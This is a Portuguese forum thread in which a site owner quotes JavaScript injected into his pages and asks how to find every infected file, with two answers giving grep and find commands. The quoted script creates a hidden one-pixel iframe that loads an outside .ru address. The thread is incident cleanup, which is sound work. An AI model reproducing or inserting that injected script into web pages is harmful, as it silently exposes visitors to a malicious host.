encontrar "uma expressão" em cada arquivo de um diretório recursivamente

1

Um dos meus sites no meu servidor sofreu um ataque: injeção de código.

Aqui está o código malicioso:

<script type=\"text/javascript\" language=\"javascript\">
(function () {     
    var t = document.createElement('iframe');    
    t.src = 'http://ahtiagge.ru/count27.php';    
    t.style.position = 'absolute';    
    t.style.border = '0';    
    t.style.height = '1px';    
    t.style.width = '1px';    
    t.style.left = '1px';    
    t.style.top = '1px';    
    if (!document.getElementById('t')) {        
        document.write('<div id=\'t\'></div>');
        document.getElementById('t').appendChild(t);    
    }
 })
();</script>

Eu quero saber o nome (e o caminho) de todos os arquivos. Coutains a expressão no meu servidor para estancar o contágio. Aqui está a expressão que eu quero corresponder: 'http: //ahtiagge.ru/count27.php'

Gostaria de resultados assim:

/var/www/vhosts/site1.com/httpdocs/index.php
/var/www/vhosts/site1.com/httpdocs/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/and_sub/fileN.php

Como posso perceber isso com um script de shell? é possível ? Alguém pode me ajudar?

Atenciosamente,

    
por Raphaël 26.12.2012 / 15:25

2 respostas

2

Você pode simplesmente usar grep para o mesmo

grep -RP "http:\/\/ahtiagge.ru\/count27\.php" /var/www/vhosts/

ou apenas registre os arquivos * .php apenas com a ajuda de find

find /var/www/vhosts/ -name "*.php" -print | xargs grep -P "http:\/\/ahtiagge.ru\/count27\.php"
    
por 26.12.2012 / 15:48
1

Eu gosto deste comando:

grep -i -n -I -H -R --include="*.php" -E "some_expression" .

Felicidades.

    
por 26.12.2012 / 15:48